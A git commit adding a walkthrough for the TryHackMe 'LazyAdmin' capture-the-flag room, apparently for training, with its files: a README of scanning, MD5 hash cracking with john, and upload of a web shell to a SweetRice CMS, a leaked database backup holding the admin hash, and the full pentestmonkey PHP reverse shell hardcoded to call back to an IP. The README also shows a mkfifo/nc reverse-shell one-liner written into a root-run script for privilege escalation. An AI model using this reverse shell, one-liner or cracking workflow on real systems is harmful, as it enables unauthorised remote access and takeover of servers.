Add files via upload

edoardottt · web-flow · commit 9c140380b592 · 2020-12-09T11:40:36.000+01:00
diff --git a/LazyAdmin/README.md b/LazyAdmin/README.md
@@ -0,0 +1,71 @@
+# LazyAdmin
+
+Have some fun! There might be multiple ways to get user access.
+
+- What is the user flag?
+
+	- `nmap -sV -sC <TARGET_IP>`. There are two services exposed: 22/tcp (ssh) and 1583/tcp (simbaexpress)
+	- `nmap --script=vuln <TARGET_IP>`
+	- ```Nmap scan report for 10.10.58.33
+Host is up (0.081s latency).
+Not shown: 998 closed ports
+PORT   STATE SERVICE
+22/tcp open  ssh
+80/tcp open  http
+|_http-csrf: Couldn't find any CSRF vulnerabilities.
+|_http-dombased-xss: Couldn't find any DOM based XSS.
+| http-enum: 
+|_  /content/: Potentially interesting folder
+| http-slowloris-check: 
+|   VULNERABLE:
+|   Slowloris DOS attack
+|     State: LIKELY VULNERABLE
+|     IDs:  CVE:CVE-2007-6750
+|       Slowloris tries to keep many connections to the target web server open and hold
+|       them open as long as possible.  It accomplishes this by opening connections to
+|       the target web server and sending a partial request. By doing so, it starves
+|       the http server's resources causing Denial Of Service.
+|       
+|     Disclosure date: 2009-09-17
+|     References:
+|       http://ha.ckers.org/slowloris/
+|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
+|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
+
+		```
+		Seems good.
+	- Visit <TARGET_IP>/content/ on browser.
+	- `gobuster dir -u http://<TARGET_IP>/content/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
+	- ```/images (Status: 301)
+/js (Status: 301)
+/inc (Status: 301)
+/as (Status: 301)
+/_themes (Status: 301)
+/attachment (Status: 301)
+		```
+		Interesting...
+	- In `http://<TARGET_IP>/content/inc` there is  `mysql\_backup` folder. Download the .sql file inside.
+	- Open it with or something similar. You should read a line with a passwd header and the a hashed value.
+	- Use `hash-identifier` to detect the type of the hash. MD5. ok.
+	- `cat <HASH_HERE> > hash.txt`
+	- `sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5`
+	- Go into the login page `http://<TARGET_IP>/content/as/`
+	- Login with the username inside the .sql file and the cracked password.
+	- Go into `Ads` section.
+	- Load the `rshell.php` into the content manager (change the IP address with yours!)
+	- `nc -lvnp 1234` on your machine.
+	- Go into `http://<TARGET_IP>/content/inc/ads` and click on the file you've just uploaded.
+	- You gained a shell. `cd /home/itguy && cat user.txt`
+	- `THM{63**bce92******ad111**********07}`
+
+- What is the root flag?
+
+	- `sudo -l`
+	- Ok. We don't need sudo password for backup.pl and perl.
+	- Analyze backup.pl, it runs /etc/copy.sh. Let'see.
+	- It's a reverse shell. Change the specified ip address to yours.
+	- `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP_HERE> 5554 >/tmp/f" > /etc/copy.sh`
+	- `nc -lnvp 5554` on your machine
+	- `sudo /usr/bin/perl /home/itguy/backup.pl` on target machine.
+	- `cat /root/root.txt`
+	- `THM{663**41d01******7cb**********99f}`
diff --git a/LazyAdmin/hash.txt b/LazyAdmin/hash.txt
@@ -0,0 +1 @@
+42f749ade7f9e195bf475f37a44cafcb
diff --git a/LazyAdmin/mysql_bakup_20191129023059-1.5.1.sql b/LazyAdmin/mysql_bakup_20191129023059-1.5.1.sql
@@ -0,0 +1,102 @@
+<?php return array (
+  0 => 'DROP TABLE IF EXISTS `%--%_attachment`;',
+  1 => 'CREATE TABLE `%--%_attachment` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `post_id` int(10) NOT NULL,
+  `file_name` varchar(255) NOT NULL,
+  `date` int(10) NOT NULL,
+  `downloads` int(10) NOT NULL,
+  PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  2 => 'DROP TABLE IF EXISTS `%--%_category`;',
+  3 => 'CREATE TABLE `%--%_category` (
+  `id` int(4) NOT NULL AUTO_INCREMENT,
+  `name` varchar(255) NOT NULL,
+  `link` varchar(128) NOT NULL,
+  `title` text NOT NULL,
+  `description` varchar(255) NOT NULL,
+  `keyword` varchar(255) NOT NULL,
+  `sort_word` text NOT NULL,
+  `parent_id` int(10) NOT NULL DEFAULT \'0\',
+  `template` varchar(60) NOT NULL,
+  PRIMARY KEY (`id`),
+  UNIQUE KEY `link` (`link`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  4 => 'DROP TABLE IF EXISTS `%--%_comment`;',
+  5 => 'CREATE TABLE `%--%_comment` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `name` varchar(60) NOT NULL DEFAULT \'\',
+  `email` varchar(255) NOT NULL DEFAULT \'\',
+  `website` varchar(255) NOT NULL,
+  `info` text NOT NULL,
+  `post_id` int(10) NOT NULL DEFAULT \'0\',
+  `post_name` varchar(255) NOT NULL,
+  `post_cat` varchar(128) NOT NULL,
+  `post_slug` varchar(128) NOT NULL,
+  `date` int(10) NOT NULL DEFAULT \'0\',
+  `ip` varchar(39) NOT NULL DEFAULT \'\',
+  `reply_date` int(10) NOT NULL DEFAULT \'0\',
+  PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  6 => 'DROP TABLE IF EXISTS `%--%_item_data`;',
+  7 => 'CREATE TABLE `%--%_item_data` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `item_id` int(10) NOT NULL,
+  `item_type` varchar(255) NOT NULL,
+  `data_type` varchar(20) NOT NULL,
+  `name` varchar(255) NOT NULL,
+  `value` text NOT NULL,
+  PRIMARY KEY (`id`),
+  KEY `item_id` (`item_id`),
+  KEY `item_type` (`item_type`),
+  KEY `name` (`name`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  8 => 'DROP TABLE IF EXISTS `%--%_item_plugin`;',
+  9 => 'CREATE TABLE `%--%_item_plugin` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `item_id` int(10) NOT NULL,
+  `item_type` varchar(255) NOT NULL,
+  `plugin` varchar(255) NOT NULL,
+  PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  10 => 'DROP TABLE IF EXISTS `%--%_links`;',
+  11 => 'CREATE TABLE `%--%_links` (
+  `lid` int(10) NOT NULL AUTO_INCREMENT,
+  `request` text NOT NULL,
+  `url` text NOT NULL,
+  `plugin` varchar(255) NOT NULL,
+  PRIMARY KEY (`lid`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+  12 => 'DROP TABLE IF EXISTS `%--%_options`;',
+  13 => 'CREATE TABLE `%--%_options` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `name` varchar(255) NOT NULL,
+  `content` mediumtext NOT NULL,
+  `date` int(10) NOT NULL,
+  PRIMARY KEY (`id`),
+  UNIQUE KEY `name` (`name`)
+) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
+  14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
+  15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
+  16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
+  17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
+  18 => 'CREATE TABLE `%--%_posts` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `name` varchar(255) NOT NULL,
+  `title` varchar(255) NOT NULL,
+  `body` longtext NOT NULL,
+  `keyword` varchar(255) NOT NULL DEFAULT \'\',
+  `tags` text NOT NULL,
+  `description` varchar(255) NOT NULL DEFAULT \'\',
+  `sys_name` varchar(128) NOT NULL,
+  `date` int(10) NOT NULL DEFAULT \'0\',
+  `category` int(10) NOT NULL DEFAULT \'0\',
+  `in_blog` tinyint(1) NOT NULL,
+  `views` int(10) NOT NULL,
+  `allow_comment` tinyint(1) NOT NULL DEFAULT \'1\',
+  `template` varchar(60) NOT NULL,
+  PRIMARY KEY (`id`),
+  UNIQUE KEY `sys_name` (`sys_name`),
+  KEY `date` (`date`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
+);?>
diff --git a/LazyAdmin/rshell.php b/LazyAdmin/rshell.php
@@ -0,0 +1,189 @@
+<?php
+// php-reverse-shell - A Reverse Shell implementation in PHP
+// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  The author accepts no liability
+// for damage caused by this tool.  If these terms are not acceptable to you, then
+// do not use this tool.
+//
+// In all other respects the GPL version 2 applies:
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License version 2 as
+// published by the Free Software Foundation.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along
+// with this program; if not, write to the Free Software Foundation, Inc.,
+// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  If these terms are not acceptable to
+// you, then do not use this tool.
+//
+// You are encouraged to send comments, improvements or suggestions to
+// me at pentestmonkey@pentestmonkey.net
+//
+// Description
+// -----------
+// This script will make an outbound TCP connection to a hardcoded IP and port.
+// The recipient will be given a shell running as the current user (apache normally).
+//
+// Limitations
+// -----------
+// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
+// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
+//
+// Usage
+// -----
+// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
+
+set_time_limit (0);
+$VERSION = "1.0";
+$ip = '10.9.126.198';  // CHANGE THIS
+$port = 1234;       
+$chunk_size = 1400;
+$write_a = null;
+$error_a = null;
+$shell = 'uname -a; w; id; /bin/sh -i';
+$daemon = 0;
+$debug = 0;
+
+//
+// Daemonise ourself if possible to avoid zombies later
+//
+
+// pcntl_fork is hardly ever available, but will allow us to daemonise
+// our php process and avoid zombies.  Worth a try...
+if (function_exists('pcntl_fork')) {
+	// Fork and have the parent process exit
+	$pid = pcntl_fork();
+	
+	if ($pid == -1) {
+		printit("ERROR: Can't fork");
+		exit(1);
+	}
+	
+	if ($pid) {
+		exit(0);  // Parent exits
+	}
+
+	// Make the current process a session leader
+	// Will only succeed if we forked
+	if (posix_setsid() == -1) {
+		printit("Error: Can't setsid()");
+		exit(1);
+	}
+
+	$daemon = 1;
+} else {
+	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
+}
+
+// Change to a safe directory
+chdir("/");
+
+// Remove any umask we inherited
+umask(0);
+
+//
+// Do the reverse shell...
+//
+
+// Open reverse connection
+$sock = fsockopen($ip, $port, $errno, $errstr, 30);
+if (!$sock) {
+	printit("$errstr ($errno)");
+	exit(1);
+}
+
+// Spawn shell process
+$descriptorspec = array(
+   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
+   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
+   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
+);
+
+$process = proc_open($shell, $descriptorspec, $pipes);
+
+if (!is_resource($process)) {
+	printit("ERROR: Can't spawn shell");
+	exit(1);
+}
+
+// Set everything to non-blocking
+// Reason: Occsionally reads will block, even though stream_select tells us they won't
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+stream_set_blocking($pipes[2], 0);
+stream_set_blocking($sock, 0);
+
+printit("Successfully opened reverse shell to $ip:$port");
+
+while (1) {
+	// Check for end of TCP connection
+	if (feof($sock)) {
+		printit("ERROR: Shell connection terminated");
+		break;
+	}
+
+	// Check for end of STDOUT
+	if (feof($pipes[1])) {
+		printit("ERROR: Shell process terminated");
+		break;
+	}
+
+	// Wait until a command is end down $sock, or some
+	// command output is available on STDOUT or STDERR
+	$read_a = array($sock, $pipes[1], $pipes[2]);
+	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
+
+	// If we can read from the TCP socket, send
+	// data to process's STDIN
+	if (in_array($sock, $read_a)) {
+		if ($debug) printit("SOCK READ");
+		$input = fread($sock, $chunk_size);
+		if ($debug) printit("SOCK: $input");
+		fwrite($pipes[0], $input);
+	}
+
+	// If we can read from the process's STDOUT
+	// send data down tcp connection
+	if (in_array($pipes[1], $read_a)) {
+		if ($debug) printit("STDOUT READ");
+		$input = fread($pipes[1], $chunk_size);
+		if ($debug) printit("STDOUT: $input");
+		fwrite($sock, $input);
+	}
+
+	// If we can read from the process's STDERR
+	// send data down tcp connection
+	if (in_array($pipes[2], $read_a)) {
+		if ($debug) printit("STDERR READ");
+		$input = fread($pipes[2], $chunk_size);
+		if ($debug) printit("STDERR: $input");
+		fwrite($sock, $input);
+	}
+}
+
+fclose($sock);
+fclose($pipes[0]);
+fclose($pipes[1]);
+fclose($pipes[2]);
+proc_close($process);
+
+// Like print, but does nothing if we've daemonised ourself
+// (I can't figure out how to redirect STDOUT like a proper daemon)
+function printit ($string) {
+	if (!$daemon) {
+		print "$string\n";
+	}
+}
+
+?>
